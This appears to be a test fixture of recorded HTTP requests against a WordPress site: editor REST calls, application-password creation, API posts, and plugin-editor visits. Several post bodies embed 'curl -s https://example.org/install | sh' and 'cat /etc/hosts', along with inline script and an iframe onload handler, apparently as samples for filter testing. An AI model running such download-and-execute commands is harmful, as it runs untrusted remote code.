{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/images/grid-flower-2.webp", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/images/campanula-alliariifolia-flower.webp", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/images/delphinium-flowers.webp", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/template-parts/twentytwentyfive//header?context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/template-parts/twentytwentyfive//footer?context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?context=edit&offset=0&order=desc&orderby=date&per_page=3&ignore_sticky=false&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?context=edit&offset=0&order=desc&orderby=date&per_page=12&ignore_sticky=false&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/menus?context=view&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""}
{"method": "GET", "target": "/wp-json/wp-block-editor/v1/navigation-fallback?_embed=true&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/types/post?context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/navigation?context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""}
{"method": "GET", "target": "/?customize_changeset_uuid=f8b37173-205c-47cb-8499-41107f2fbe14&customize_theme=twentytwentyfive&customize_messenger_channel=preview-0", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/customize.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203401"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/users/me/application-passwords?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 28", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/profile.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432"], "body": "{\"name\":\"Example phone app\"}"}
{"method": "GET", "target": "/wp-json/", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?per_page=5&search=hello", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/posts", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "content-type: application/json", "content-length: 77", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": "{\"title\": \"From the app\", \"content\": \"<p>It's a test</p>\", \"status\": \"draft\"}"}
{"method": "GET", "target": "/wp-json/wp/v2/pages?slug=sample-page", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/users/me?context=edit", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/comments", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "content-type: application/json", "content-length: 102", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": "{\"post\": 1, \"content\": \"A note from the app\", \"author_name\": \"Bob\", \"author_email\": \"bob@example.com\"}"}
{"method": "GET", "target": "/?rest_route=/wp/v2/posts&per_page=2", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fblog.example%2Fhello-world%2F", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/wp-login.php?action=logout&_wpnonce=e9a74137b6", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203454"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/templates/twentytwentyfive//index?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 169", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207357"], "body": "{\"id\":\"twentytwentyfive//index\",\"content\":\"<!-- wp:template-part {\\\"slug\\\":\\\"header\\\"} /-->\\n\\n<!-- wp:paragraph -->\\n<p>Our opening hours.</p>\\n<!-- /wp:paragraph -->\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/template-parts/twentytwentyfive//header?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 170", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207357"], "body": "{\"id\":\"twentytwentyfive//header\",\"content\":\"<!-- wp:template-part {\\\"slug\\\":\\\"header\\\"} /-->\\n\\n<!-- wp:paragraph -->\\n<p>Our opening hours.</p>\\n<!-- /wp:paragraph -->\"}"}
{"method": "POST", "target": "/index.php?rest_route=%2Fwp%2Fv2%2Fposts%2F12&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 590", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207411"], "body": "{\"id\":12,\"title\":\"A guide to the plain address\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\",\"status\":\"draft\"}"}
{"method": "POST", "target": "/index.php?rest_route=%2Fwp%2Fv2%2Fposts%2F12&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 553", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=12&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207411"], "body": "{\"id\":12,\"status\":\"publish\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\"}"}
{"method": "POST", "target": "/index.php/wp-json/wp/v2/posts/14?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 590", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207416"], "body": "{\"id\":14,\"title\":\"A guide to the index address\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\",\"status\":\"draft\"}"}
{"method": "POST", "target": "/index.php/wp-json/wp/v2/posts/14?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 553", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=14&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207416"], "body": "{\"id\":14,\"status\":\"publish\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\"}"}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=akismet%2Fviews%2Fconfig.php&plugin=akismet%2Fakismet.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=example-plugin%2Fbin%2Finstall.sh&plugin=example-plugin%2Fexample-plugin.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207404"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=example-plugin%2Fdocker-compose.yml&plugin=example-plugin%2Fexample-plugin.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207406"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-editor.php?file=inc%2Fconfig.php&theme=example-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207407"], "body": ""}
